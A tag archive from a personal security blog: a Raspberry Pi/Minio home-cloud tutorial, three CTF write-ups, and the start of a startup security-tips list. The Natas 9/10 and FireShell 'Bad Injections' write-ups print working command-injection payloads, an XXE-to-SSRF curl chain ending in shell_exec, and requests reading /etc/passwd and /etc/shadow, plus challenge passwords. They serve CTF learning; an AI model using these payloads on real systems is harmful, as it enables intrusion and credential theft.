Tag Archives: hacking

Build your own private cloud at home with a Raspberry Pi + Minio

Early this year I got one of those widescreen 5k monitors so I could work from home, the display is so cool but the sad thing is it only comes with 2 USB ports. I have a wired mouse and keyboard so when I wanted to connect an external hard drive for copying and backing up files it was always a pain in the neck.

I remembered I have an old Raspberry PI2 I brought with me from México so last weekend I decided to work on a small personal project for solving this issue once and for all, I finished it and it’s working very well so I thought on writing a blogpost about it so more people can build its own private cloud at home too.

Install Raspbian

The first thing was to install a fresh version of raspbian into the raspberry pi, I got it from https://www.raspberrypi.org/downloads/raspbian/, I wanted something minimal so I got the Raspbian Buster Lite image, this version of raspbian doesn’t come with a graphical interface but it’s fine because ssh it’s all what we need.

Insert the SD card into your machine, I’m using a macbook pro so I have to use an adapter, once the card is there you can verify using the df command, tip: you can easily identify your SD card by the size reported by df -h.

df -h

Filesystem      Size   Used  Avail Capacity iused      ifree %iused  Mounted on
/dev/disk1s5   466Gi   10Gi  246Gi     5%  487549 4881965331    0%   /
devfs          338Ki  338Ki    0Bi   100%    1170          0  100%   /dev
...
..
/dev/disk2s1   <------------- my SD card

Before copying the image first you need to unmount the device using sudo umount /dev/disk2s1 after that you can use the dd command.

sudo dd bs=1m if=./2020-02-13-raspbian-buster-lite.img of=/dev/disk2s1

Optionally you can do all this process in a more friendly way by installing Raspberry Pi imager tool https://www.raspberrypi.org/downloads/, you need to insert your sd card, choose the os, choose the sd card and the click the write button.

Once you have your fresh version of Raspbian installed it’s time to verify the Raspberry is working, the easiest way to do that is to connect a monitor and keyboard to it, so I did it.

When you connect the raspberry to the power the green led should start flashing, if that doesn’t happen is probably a sign of a corrupted EEPROM and you should look at the Recovery section of https://www.raspberrypi.org/downloads/.

Access the Raspberry Pi remotely

Alright, if you get to this point means your raspberry is fine, next step is to connect it to your network, I connected mine to my switch using an ethernet cable, before ssh into the raspberry first we need to get its IP, there are multiple ways to get the IP address assigned to your raspberry, I used nmap https://nmap.org/ to quickly scan my local network for new devices.

nmap -sP 192.168.86.0/24

Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-29 19:55 PDT
Nmap scan report for testwifi.here (192.168.86.1)
...
..
Nmap scan report for raspberrypi (192.168.86.84)
Host is up (0.0082s latency).
...
..
Nmap done: 256 IP addresses (10 hosts up) scanned in 2.55 seconds

Ok from now on I’m going to start referring to the raspberry as nstorage (network storage), on my local machine I added a new entry to /etc/hosts with this information.

# Minio running in raspberry pi in home network
192.168.86.84    nstorage
192.168.86.84    raspberry

I also added a new entry on ~/.ssh/config so it is easier to connect via ssh.

Host nstorage
	User pi
	Hostname nstorage
	Port 22
	ServerAliveInterval 120
	ServerAliveCountMax 30

You can type on your terminal ssh nstorage, and login using the default credentials: pi / raspberry.

ssh nstorage

Linux raspberrypi 4.19.97-v7+ #1294 SMP Thu Jan 30 13:15:58 GMT 2020 armv7l

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Mar 30 03:27:49 2020 from 192.168.86.64
[email protected]:~ $

First thing you should do is change the default password using the passwd command http://man7.org/linux/man-pages/man1/passwd.1.html.

One thing I always like to do is to add the public ssh key of my machine (my macbook pro) to the list of authorized_keys on the remote server (nstorage), you can do this by copying your public key: cat ~/.ssh/id_rsa.pub | pbcopy and then in nstorage in the /home/pi/.ssh/authorized_keys (create the file if it doesn’t exist) file append the key to the end.

[email protected]:~/.ssh $ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvxqCsC2RWVfWfix/KT1R8eZ9zN5SXoZ8xV8eCsk47AZUkZKBdCLxp0arhS2/+WpjRAFuR4+XgmnWlu/rQYzWGaqv/sm5420zaF6fpOaeFXEuLGVP7Nb4e1oPR1tNbzZ7OLJs1FVZIk8rBeTfLh2+UMU8Lut+rKtd9FbW4LdTimscg8ufeFZ1bKWTPih4+o3kYEdSFpMz0ntKDqKA7g3Kvq6PbhUxcICA/KrJbjxTjuOelfqsfTz7xrJW/sII5QETTqL93ny7DlPdVdM2Qw6C/1NZ1hV7ZgpihFlD+XKhdqdugG9DgjzgKvdNx63idswCRJKmdxHZN+oM33+bASHMT [email protected]

That way next time you ssh into nstorage (the raspberry) the login process will be automatic.

Install Minio

You are on a fresh raspbian system, first thing you should do is update the existing software.

sudo apt-get update
sudo apt-get upgrade

After that lets download the minio server and the minio client, we also create symbolic links for both binaries.

wget https://dl.minio.io/server/minio/release/linux-arm/minio
wget https://dl.minio.io/client/mc/release/linux-arm/mc
sudo ln -s /home/pi/minio /usr/bin/minio
sudo ln -s /home/pi/mc /usr/bin/mc

At this point you can start a simple minio server with:

[email protected]:~ $ mkdir ~/data
[email protected]:~ $ minio server ~/data
Endpoint:  https://192.168.86.84:9000  https://127.0.0.1:9000
AccessKey: minioadmin
SecretKey: minioadmin

Browser Access:
   https://192.168.86.84:9000  https://127.0.0.1:9000

Command-line Access: https://docs.min.io/docs/minio-client-quickstart-guide
   $ mc config host add myminio https://192.168.86.84:9000 minioadmin minioadmin

Object API (Amazon S3 compatible):
   Go:         https://docs.min.io/docs/golang-client-quickstart-guide
   Java:       https://docs.min.io/docs/java-client-quickstart-guide
   Python:     https://docs.min.io/docs/python-client-quickstart-guide
   JavaScript: https://docs.min.io/docs/javascript-client-quickstart-guide
   .NET:       https://docs.min.io/docs/dotnet-client-quickstart-guide

Detected default credentials 'minioadmin:minioadmin', please change the credentials immediately using 'MINIO_ACCESS_KEY' and 'MINIO_SECRET_KEY'

In your local machine go to http://nstorage:9000/minio and you will see the following screen.

We are almost there, you have a minio server running in your raspberry pi, you can start uploading files and creating buckets if you want, but first let’s add some security.

Securing your Minio

Right now all the traffic between you and nstorage (your minio server) is unencrypted, let’s fix that quickly, I used mkcert https://github.com/FiloSottile/mkcert by Filippo Valsorda for quickly generate certificates signed by a custom certificate authority, sounds scary but is actually quite simple.

In the raspberry we are going to create the following folders to hold the certificates.

mkdir ~/.minio/certs/CAs
mkdir ~/.mc/certs/CAs

In your local machine we generate and push the certificates to the raspberry, dont forget to also push the public key of your local certificate authority created by mkert under /Users/$USER/Library/Application Support/mkcert/rootCA.pem.

$ mkcert nstorage
Using the local CA at "/Users/alevsk/Library/Application Support/mkcert" ✨

Created a new certificate valid for the following names 📜
 - "nstorage"

The certificate is at "./nstorage.pem" and the key at "./nstorage-key.pem" ✅

$ ls nstorage*
nstorage-key.pem nstorage.pem
$ scp ./nstorage* [email protected]:~/.minio/certs
$ scp ./rootCA.pem [email protected]:~/.minio/certs/CAs
$ scp ./rootCA.pem [email protected]:~/.mc/certs/CAs

That’s it, you have now a secure connection with your Minio, if you go to your browser you can HTTPS this time.

Nstorage certificate is valid and trusted by your system because was generated by your local certificate authority, every device that wants to access this server need to trust the CA as well, otherwise it will get a trust error.

Mount external drive

Alright, so far you have a secure Minio running on the raspberry pi, in my case I used a 16GB SD card, which was not enough for storing all my data and the whole point was to access my external drive files remotely, so let’s do that now. But first instead of start Minio manually let’s create a bash script and change the default credentials.

Create a new file using vim or your editor of choice: vim start.sh

#!/bin/bash

export MINIO_ACCESS_KEY=SuperSecretAccessKey
export MINIO_SECRET_KEY=SuperSecretSecretKey
export MINIO_DOMAIN=nstorage
export MINIO_DISK_USAGE_CRAWL=off

minio server ~/data

Save the above lines and then give execution permissions to the script: chmod +x start.sh
Now you can start your Minio running ./start.sh

[email protected]:~ $ ./start.sh
Endpoint:  https://192.168.86.84:9000  https://127.0.0.1:9000
AccessKey: SuperSecretAccessKey
SecretKey: SuperSecretSecretKey

Browser Access:
   https://192.168.86.84:9000  https://127.0.0.1:9000

Command-line Access: https://docs.min.io/docs/minio-client-quickstart-guide
   $ mc config host add myminio https://192.168.86.84:9000 SuperSecretAccessKey SuperSecretSecretKey

Object API (Amazon S3 compatible):
   Go:         https://docs.min.io/docs/golang-client-quickstart-guide
   Java:       https://docs.min.io/docs/java-client-quickstart-guide
   Python:     https://docs.min.io/docs/python-client-quickstart-guide
   JavaScript: https://docs.min.io/docs/javascript-client-quickstart-guide
   .NET:       https://docs.min.io/docs/dotnet-client-quickstart-guide

Now connect your external hard drive to one of the USB ports, I had some issues while doing this, Raspbian was not listing the device under /dev so make sure to increase the USB ports power via configuration in /boot/config.txt, add max_usb_current=1 to the end of the file.

[email protected]:~ $ cat /boot/config.txt
# For more options and information see
# http://rpf.io/configtxt
# Some settings may impact device functionality. See link above for details
...
..
# Increase power available to USB ports
max_usb_current=1

Reboot the raspberry and plug your drive again, if everything went right you should be able to see your external drive using fdisk.

$ sudo fdisk -l
Disk /dev/sda: 4.6 TiB, 5000981077504 bytes, 9767541167 sectors
Disk model: Expansion Desk
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 4096 bytes
I/O size (minimum/optimal): 4096 bytes / 4096 bytes
Disklabel type: gpt
Disk identifier: 24A09C07-313E-43B6-A811-FAF09DAB962C

Device      Start        End    Sectors  Size Type
/dev/sda1      34     262177     262144  128M Microsoft reserved
/dev/sda2  264192 9767540735 9767276544  4.6T Microsoft basic data

You can mount the device using the mount command https://linux.die.net/man/8/mount.

[email protected]:~ $ sudo mount -t ntfs /dev/sda2 /home/pi/data
[email protected]:~ $ ls -la data
total 9032
drwxrwxrwx 1 root root     8192 Mar 30 08:19  .
drwxr-xr-x 9 pi   pi       4096 Mar 30 08:27  ..
drwxrwxrwx 1 root root    65536 Mar 26 22:53  anime
drwxrwxrwx 1 root root    20480 May  5  2019  anime_movies
drwxrwxrwx 1 root root        0 Jan  4  2019  backup
drwxrwxrwx 1 root root     4096 Jan  4  2019  books
drwxrwxrwx 1 root root     4096 Jan  4  2019  dev
drwxrwxrwx 1 root root    16384 Feb 12  2017  documents
drwxrwxrwx 1 root root        0 Feb  6  2017  download
drwxrwxrwx 1 root root    12288 Feb 12  2017  games
drwxrwxrwx 1 root root     4096 Jan  4  2019  images
drwxrwxrwx 1 root root     4096 Feb 10  2017  manga
drwxrwxrwx 1 root root     4096 Mar 29 07:48  .minio.sys
drwxrwxrwx 1 root root    65536 Mar 30 01:41  movies
drwxrwxrwx 1 root root        0 Jan  4  2019  music
drwxrwxrwx 1 root root        0 Feb  6  2017  pentest
drwxrwxrwx 1 root root    12288 Jun  2  2019  series
drwxrwxrwx 1 root root     4096 Jun  2  2019  software
drwxrwxrwx 1 root root        0 Jan 25 20:51  .Trashes
drwxrwxrwx 1 root root        0 Jun 21  2019  videos
[email protected]:~ $

Restart your minio server and this time when you go to the browser you will see all your files there.

You can list all the files and buckets using the minio client (mc) from your local machine or using the mc binary inside the nstorage raspberry.

$ mc config host add nstorage https://nstorage:9000 SuperSecretAccessKey SuperSecretSecretKey
$ mc ls nstorage

[2020-03-26 15:53:09 PDT]      0B anime/
[2019-05-04 18:25:59 PDT]      0B anime_movies/
[2019-01-03 23:00:08 PST]      0B backup/
[2019-01-03 23:04:29 PST]      0B books/
[2019-01-03 23:48:04 PST]      0B dev/
[2017-02-11 17:09:28 PST]      0B documents/
[2017-02-05 16:45:21 PST]      0B download/
[2017-02-11 16:03:31 PST]      0B games/
[2019-01-03 23:06:48 PST]      0B images/
[2017-02-10 11:50:31 PST]      0B manga/
[2020-03-29 17:41:41 PDT]      0B movies/
[2019-01-03 22:48:15 PST]      0B music/
[2017-02-05 22:14:30 PST]      0B pentest/
[2019-06-02 14:33:34 PDT]      0B series/
[2019-06-01 21:29:46 PDT]      0B software/
[2019-06-20 20:20:56 PDT]      0B videos/

You can download every file you want, upload files and also stream media. Go to your Minio browser and select any video you like, click on the “3 dots” icon on the right and click the share icon.

Minio will generate a pre-signed URL that you can use on VLC, click on File > Open Network and paste the video URL.

Click the open button and enjoy your videos.

Everything is great so far, you are able to access all your files from any device in your network but if your raspberry loses power and reboot you will need to mount the external drive and start the Minio server manually again so let’s automate that.

Mount the external drive with fstab

On linux by default every drive listed in /etc/fstab will be mounted on startup, there are many ways to mount drives but the recommended way is using UUID or PARTUUID instead of the name.

[email protected]:~ $ sudo blkid
...
...
...
/dev/sda2: LABEL="Arael" UUID="62F048D0F048AC5B" TYPE="ntfs" PTTYPE="atari" PARTLABEL="Basic data partition" PARTUUID="5206da84-ded1-43b6-abf2-14b5950c4d7c"

Locate the PARTUUID of your own drive, mine was 5206da84-ded1-43b6-abf2-14b5950c4d7c, and then add it at the end of your /etc/fstab file.

$ cat /etc/fstab

proc            /proc           proc    defaults          0       0
PARTUUID=738a4d67-01  /boot           vfat    defaults          0       2
PARTUUID=738a4d67-02  /               ext4    defaults,noatime  0       1
# a swapfile is not a swap partition, no line here
#   use  dphys-swapfile swap[on|off]  for that
PARTUUID=5206da84-ded1-43b6-abf2-14b5950c4d7c  /home/pi/data      ntfs    defaults,errors=remount-ro 0       1

Reboot your raspberry and verify your drive was mounted automatically under /home/pi/data.

Start the Minio server with systemctl

Finally, the last piece of the puzzle is to make minio to start automatically, again, there’s many ways to do this but in this tutorial we will do it with init system or systemctl, let’s create a file called minio.service with the following content.

[Unit]

Description=Minio Storage Service

After=network-online.target home-pi-data.mount

[Service]

ExecStart=/home/pi/start.sh

WorkingDirectory=/home/pi

StandardOutput=inherit

StandardError=inherit

Restart=always

User=pi

[Install]

WantedBy=multi-user.target

ExecStart points to the start.sh bash script, After directive will tell the Minio server to wait until the network service is online and the /dev/sda2 drive is mounted by fstab, home-pi-data.mount is a systemd mount unit you can get using the systemctl list-units command.

$ systemctl list-units | grep '/home/pi/data' | awk '{ print $1 }'
home-pi-data.mount

Copy the file to the /etc/systemd/system directory.

cp ./minio.service /etc/systemd/system/minio.service

Start minio as a systemd service using the start command and verify is running with the status command.

[email protected]:~ $ sudo systemctl start minio
[email protected]:~ $ sudo systemctl status minio
● minio.service - Minio Storage Service
   Loaded: loaded (/etc/systemd/system/minio.service; enabled; vendor preset: enabled)
   Active: active (running) since Mon 2020-03-30 10:12:22 BST; 4s ago
 Main PID: 1453 (start.sh)
    Tasks: 16 (limit: 2200)
   Memory: 156.2M
   CGroup: /system.slice/minio.service
           ├─1453 /bin/bash /home/pi/start.sh
           └─1456 minio server /home/pi/data

Mar 30 10:12:22 raspberrypi systemd[1]: Started Minio Storage Service.

If everything looks fine, enable the service, Minio will start automatically every time your Raspberry pi boot.

sudo systemctl enable minio

Reboot your raspberry pi one last time and verify everything is working as expected, if you are able to see the minio browser at https://nstorage:9000/minio without you having to do anything congratulations you now have your own private cloud at home powered by Minio :).

Happy hacking.

CTF OverTheWire: Natas10

Continuing with the CTF Natas series, now is the turn for natas10

Natas Level 9 → Level 10
Username: natas10
URL:      http://natas10.natas.labs.overthewire.org

Using the flag obtained in the previous challenge, we go to the URL showed in the description and we will see the following screen.

It’s a simple web page with a basic input form, very similar to the previous one but they have added a character filter, we proceed to click the View sourcecode and we are redirected to index-source.html

This is supposed to be the backend code of the html form.

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>

The preg_match(‘/[;|&]/’,$key) function will make sure to drop any search request that contains the ; or & characters so we cannot execute additional commands like we did on the previous level, but instead of trying to bypass this filter there is an easier way to solve this level, the grep command supports search for a pattern in multiple files so we are going to exploit that, the goal is to execute something like this:

grep -i '' /etc/natas_webpass/natas11 dictionary.txt 

Since ” /etc/natas_webpass/natas11 doesn’t contains any of the filtered characters we can just send this payload through the form.

The flag for the next level, natas11, is: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

In this challenge we exploit a command injection vulnerability that essentially allow us to execute arbitrary commands on the server, this time there was a security mechanism in place but the fundamental problem was still there. Depending on the privileges of the user running the web server we might read, write or delete files.

Happy hacking 🙂

CTF OverTheWire: Natas9

Continuing with the CTF Natas series, now is the turn for natas9

Natas Level 8 → Level 9
Username: natas9
URL:      http://natas9.natas.labs.overthewire.org

Using the flag obtained in the previous challenge, we go to the URL showed in the description and we will see the following screen.

It’s just a simple web page with a basic input form, if we type nonsense nothing happens, we proceed to click the View sourcecode and we are redirected to index-source.html

This is supposed to be the backend code of the html form.

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>

The vulnerability in this code happens when calling the passthru function, we are reading user input directly from the needle request parameter, then saving it into the $key variable and using it without any kind of sanitization when calling the function, that’s essentially command injection. We are going to try to execute commands in the web server by exploiting this vulnerability.

Sending ;ls -la;

Results in all files on the current directory to be listed

I was a little bit lost at this point but then I remember the CTF instructions.

Each level has access to the password of the next level. Your job is to somehow obtain that next password and level up. All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.

So we do ;cat /etc/natas_webpass/natas10;

The flag for the next level, natas10, is: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

As mentioned before, this challenge we exploit a command injection vulnerability that essentially allow us to execute arbitrary commands on the server, depending on the privileges of the user running the web server we might read, write or delete files.

Happy hacking 🙂

FireShell CTF 2019 – Bad Injections (WEB)

Hi everybody, this is the first CTF I play this year, it was organized by the FireShell Security team (thank you so much guys!) and this the writeup for the Bad Injection challenge from the web category.

This challenge was special because I played with some folks from work, special thanks to yovasx2 for playing this CTF with me 🙂

The challenge starts by giving us an IP address running a web server on the Internet:
http://68.183.31.62:94

There is nothing interesting in the website besides a section called List, this section displays an image with an interesting URL.

<div class='ui center aligned container'>
  <img src="download?file=files/1.jpg&hash=7e2becd243552b441738ebc6f2d84297" height="500"/>
  <img src="download?file=files/test.txt&hash=293d05cb2ced82858519bdec71a0354b" height="50t0"/>  
</div>

The resources are loaded using some kind of downloading script, the download script receives two parameters, file and hash, the hash corresponds to the hashed version of the value of the file parameter.

This looks like a code disclosure vulnerability so we start by trying to download the index.php file:

http://68.183.31.62:94/download?file=index.php&hash=828e0013b8f3bc1bb22b4f57172b019d
And the result is:
ini_set('display_errors',1);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('Routes.php');

function __autoload($class_name){
  if(file_exists('./classes/'.$class_name.'.php')){
    require_once './classes/'.$class_name.'.php';
  }else if(file_exists('./Controllers/'.$class_name.'.php')){
    require_once './Controllers/'.$class_name.'.php';
  }

}

In the above code we notice two things, the location in the server were the application “lives” and also the existence of the Routes.php file, we proceed to download the file.

http://68.183.31.62:94/download?file=/app/Routes.php&hash=b1146e09263e0aae856ff66a57968211
The Routes.php file is huge but there are two route functions that seems interesting
Route::set('custom',function(){
  $handler = fopen('php://input','r');
  $data = stream_get_contents($handler);
  if(strlen($data) > 1){
    Custom::Test($data);
  }else{
    Custom::createView('Custom');
  }
});

Route::set('admin',function(){
  if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
    Admin::createView('Admin');
  }else{
    if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
      Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
    }else{
     echo ";(";
    }
  }
});

The custom route receives some request body and if the length is greater that 1 calls the Test function from the Custom class.

The admin route can receive two parameters, rss and order, if both exists then a validation happens, the validation checks if the request comes directly from 127.0.0.1 which is localhost, if this is true then the sort function from the Admin class is called.

Here are some other Interesting files I downloaded based on what we learned from the index.php file.

http://68.183.31.62:94/download?file=/app/Controllers/Custom.php&hash=55fdef99c788af643d2676ac21ada5f4
http://68.183.31.62:94/download?file=/app/Controllers/Admin.php&hash=42c58ba0a247b5c76bce27387e90b99f
http://68.183.31.62:94/download?file=/etc/passwd&hash=c5068b7c2b1707f8939b283a2758a691
http://68.183.31.62:94/download?file=/etc/shadow&hash=2fe8599cb25a0c790213d39b3be97c27
http://68.183.31.62:94/download?file=/app/Routes.php&hash=b1146e09263e0aae856ff66a57968211

We start looking at the Custom.php and Admin.php controllers, the Custom class looks like this.

class Custom extends Controller{
  public static function Test($string){
      $root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
      $test = $root->name;
      echo $test;
  }
}

The Test method receives an string which then is parsed as an XML, the resulting object should contain a name attribute that is printed back to the user. The Admin class looks like this.

class Admin extends Controller{
  public static function sort($url,$order){
    $uri = parse_url($url);
    $file = file_get_contents($url);
    $dom = new DOMDocument();
    $dom->loadXML($file,LIBXML_NOENT | LIBXML_DTDLOAD);
    $xml = simplexml_import_dom($dom);
    if($xml){
     //echo count($xml->channel->item);
     //var_dump($xml->channel->item->link);
     $data = [];
     for($i=0;$i<count($xml->channel->item);$i++){
       //echo $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link."\n";
       $data[] = new Url($i,$uri['scheme'].'://'.$uri['host'].$xml->channel->item[$i]->link);
       //$data[$i] = $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link;
     }
     //var_dump($data);
     usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
     echo '<div class="ui list">';
     foreach($data as $dt) {

       $html = '<div class="item">';
       $html .= ''.$dt->id.' - ';
       $html .= ' <a href="'.$dt->link.'">'.$dt->link.'</a>';
       $html .= '</div>';
     }
     $html .= "</div>";
     echo $html;
    }else{
     $html .= "Error, not found XML file!";
     $html .= "<code>";
     $html .= "<pre>";
     $html .= $file;
     $html .= "</pre>";
     $hmlt .= "</code>";
     echo $html;
    }
  }

}

That it’s! the sort function uses the create_function method internally, the create_function method is very similar to the eval method, meaning if we can reach that part of the code, essentially we we can achieve code execution on the server 🙂 now the problem is how to do that since this function can only be called if the request is coming from localhost.

Remember the Test function accessible via the /custom path? that’s our way in! this function receives some input and then parse it as XML, we can take advantage of this vulnerable parser and exploit a vulnerability called XML External Entity (XXE) Processing which essentially allow us to load remote (or internal) resources.

I’ll explain this in the following example, on a command line we start by defining some variables so it’s more easy to work.

$ url='http://68.183.31.62:94/custom'
$ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=https://www.alevsk.com">]><root><name>&test;</name></root>'
$ curl --request POST --url "$url" --header 'cache-control: no-cache' --header 'content-type: application/xml' --data "$xml_content" | base64 -d

In the second line we are defining our XML payload, we are try to load an external resource inside the DOCTYPE tag and we are saving the response on a “variable” called test (wrapped by root and name tags), then we are doing a post request to the vulnerable service, if you are wondering why do we need &test that’s because our payload will be handled by:

$root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
$test = $root->name;
echo $test;

The simplexml_load_string is going to process our input and then return an object, that object is expected to have a name attribute which is stored in the $test variable and then printed to the user, we are essentially using this vulnerable service as a proxy 🙂

Now, instead of querying https://www.alevsk.com we are going to do a request to http://68.183.31.62:94/admin?rss=SOME_URL&order=PAYLOAD and since the IP address of the server is the same IP of the client making the request (localhost) boom! we just bypass the admin validation and now can reach the vulnerable sort function in the Admin controller.

Exploiting the create_function call was a little bit tricky at the beginning, it required some work crafting the PHP payload in a way the final result was valid php code without any syntactic error.

According to the PHP documentation, this function receives two string parameters, the first one is the parameters and the second one is the actual code of the function we want to generate.

The sort function receives two parameters, $url and $order, we control both of them but the important one is $order because it’s going to be replaced in the string of the second parameter of the create_function function.

After some thinking I came with this idea, I’ll explain why.

$order = id, null) && die(shell_exec('ls -la /')); ($aaa="

The original piece of code looks like this.

usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

When I replace the $order variable with my payload the final code looks like this.

usort($data, create_function('$a, $b', 'return strcmp($a->id, null) && die(shell_exec(\'ls -la /\')); ($aaa=",$b->id, null) && die(shell_exec(\'ls -la /\')); ($aaa=");')); 

Maybe I over complicate the things but I remember having some issues with single, double quotes and parentheses, anyway the result is valid PHP code :), the ($aaa=” thing at the end is important because it allow us to wrap the rest of the code (everything after shell_exec) into a string variable (like ignoring or skipping the code).

Note: Since I had access to the source code I did several test on my local environment so once I got a working payload I was able to put an exploit together, I needed to encode first the code into the xml before sending the post request.

Putting everything together looks like this.

$ url='http://68.183.31.62:94/custom'
$ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=http://localhost/admin?rss=https%3A%2F%2Fwww.website.com%2Fpath%2Fxxe.xml&order=id%2C%20null)%20%26%26%20die(shell_exec(%27ls%20-la%20%2F%27))%3B%20(%24aaa%3D%22">]><root><name>&test;</name></root>'
$ curl --request POST --url "$url" --header 'cache-control: no-cache' --header 'content-type: application/xml' --data "$xml_content" | base64 -d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2197  100  1892  100   305   6348   1023 --:--:-- --:--:-- --:--:--  7347
total 116
drwxr-xr-x   1 root root 4096 Dec 26 18:10 .
drwxr-xr-x   1 root root 4096 Dec 26 18:10 ..
-rwxr-xr-x   1 root root    0 Dec 25 23:47 .dockerenv
drwxr-xr-x   1 root root 4096 Dec 25 23:50 app
drwxr-xr-x   1 root root 4096 Dec  4 15:47 bin
drwxr-xr-x   2 root root 4096 Apr 10  2014 boot
-rwxr-xr-x   1 root root 1122 Feb 15  2016 create_mysql_admin_user.sh
-rw-r--r--   1 root root   31 Dec 26 03:34 da0f72d5d79169971b62a479c34198e7
drwxr-xr-x   5 root root  360 Dec 25 23:47 dev
drwxr-xr-x   1 root root 4096 Dec 25 23:55 etc
drwxr-xr-x   2 root root 4096 Apr 10  2014 home
drwxr-xr-x   1 root root 4096 Feb 15  2016 lib
drwxr-xr-x   2 root root 4096 Jan 19  2016 lib64
drwxr-xr-x   2 root root 4096 Jan 19  2016 media
drwxr-xr-x   2 root root 4096 Apr 10  2014 mnt
drwxr-xr-x   2 root root 4096 Jan 19  2016 opt
dr-xr-xr-x 331 root root    0 Dec 25 23:47 proc
drwx------   1 root root 4096 Dec 26 18:10 root
drwxr-xr-x   1 root root 4096 Feb 15  2016 run
-rwxr-xr-x   1 root root  549 Feb 15  2016 run.sh
drwxr-xr-x   1 root root 4096 Jan 19  2016 sbin
drwxr-xr-x   2 root root 4096 Jan 19  2016 srv
-rwxr-xr-x   1 root root   67 Feb 15  2016 start-apache2.sh
-rwxr-xr-x   1 root root   29 Feb 15  2016 start-mysqld.sh
dr-xr-xr-x  13 root root    0 Jan 26 19:06 sys
drwxrwxrwt   1 root root 4096 Jan 27 03:30 tmp
drwxr-xr-x   1 root root 4096 Feb 15  2016 usr
drwxr-xr-x   1 root root 4096 Feb 15  2016 var

The flag was inside the da0f72d5d79169971b62a479c34198e7 file, so we just cat the file and got the flag: f#{1_d0nt_kn0w_wh4t_i4m_d01ng}

Happy hacking 🙂

10 things you should be doing if you care about security in your Tech Startup

I’ve been working in the startup world as a Software Engineer for a little bit more than two years now, as most of you already know, I’m very passionate about information security so I decided to create a list of things you can do to protect your technology Startup (most of them for free).

SPOILER ALERT: This publication is not going to be your typical article about which crypto cipher is better to use, IDS comparisons or talking about specific DLP products , instead, I would like to cover 10 actions (more like advices) you can take if you value your product, your data, your employees and if you want to protect your Startup in general.

So if you are the CEO, CTO, some high executive or a decision maker in your Startup this information is for you.

1: Enforce the use of password managers

Everything starts with a password, literally, sign-in into your computer is one of the first thing most of you do every morning. Whether email clients, social networks, instant messaging apps, or online banking all this requires the user to provide a password in order to access the service so it’s natural for common users to want to think in a password only 1 time and then reuse it across multiple services.

Reusing passwords (even with small variations) it’s a bad thing because once your password is guessed/stolen it can be used to compromise all your other accounts (facebook, twitter, instagram, gmail, outlook, etc), attackers can automate the process using hacking tools such as credmap: The Credential Mapper.

So how do we prevent employees passwords to be guessed (dictionary attack) while at the same time make sure they are using strong and unique passwords on each one of their accounts? The answer is Password Managers.

Password Managers allow you to have one master password (for choosing a strong master password please refer to my talk How to create secure passwords) and then generate all the others you need based on a secure configuration such as secret length, character types, etc.

So the next time you want to access your favorite social network you just need to copy and paste the password, that also prevents your password for being stolen in case of a keylogger attack. You don’t want your community manager accounts to be stolen right?

There are a lot of good solutions out there for managing your passwords, some of them are free and open-source and some others requires you to buy a license, I personally use KeePass which is free, here is a list of the most popular password managers, doesn’t matter which one you want to choose but go ahead and start using password managers if you are not doing it yet!

2: Use multi-factor authentication if possible

The key of security is to add multiple layers of protection so in case one of them fails the other ones handle the risk, in particular for protecting accounts we can suggest our employees to use 2 factor or multi-factor authentication every time they can, so if a data breach happen and the passwords are stolen and cracked, attackers are still unable to log into the accounts because they are missing the token generator.

Now a days most of the more popular services support multi-factor authentication using one time passwords, token generators (such as google authenticator) or even hardware authenticator devices.

Personally I use a Yubico authenticator key and I’m very happy with it 🙂 every time I need to access my accounts from a new IP address or an unrecognized browser, websites such as Facebook or Gmail will ask for my authentication key, that’s very helpful because even if my password is leaked/cracked or someone guess it, they still need the physical key to access the service. 

If you don’t have a budget or prefer not to spend money on this you still can enforce multi-factor authentication using these free apps (every employee can have a token generator right on his smartphone):

3: Choose a secure instant messaging application

Every organization use some kind of real time communication application (Slack, Microsoft Teams, etc) and sometimes employees need to share sensitive information between them, they do not realize the information is also being shared with the third-party service provider who can read it.

Fortunately, nowadays more and more services support security features such as end to end encryption which means all communications between devices are encrypted (each device has a public and a private key) and not even the service provider can read them because they don’t have the private keys.

Another cool feature is self-destruct messages, basically you can set a timer so messages only exists during a particular amount of time after being send and then are destroyed, very useful when you want to share sensitive data such as passwords.

Some free apps that include these features are:

4: Securing all Email communications

Email communications is an essential part in every organization, making it a very attractive vector for attackers, according to a new report from PhishMe, 91% of Cyberattacks start with a phishing email, so even if you have advanced network controls, deceiving your users is still easy.

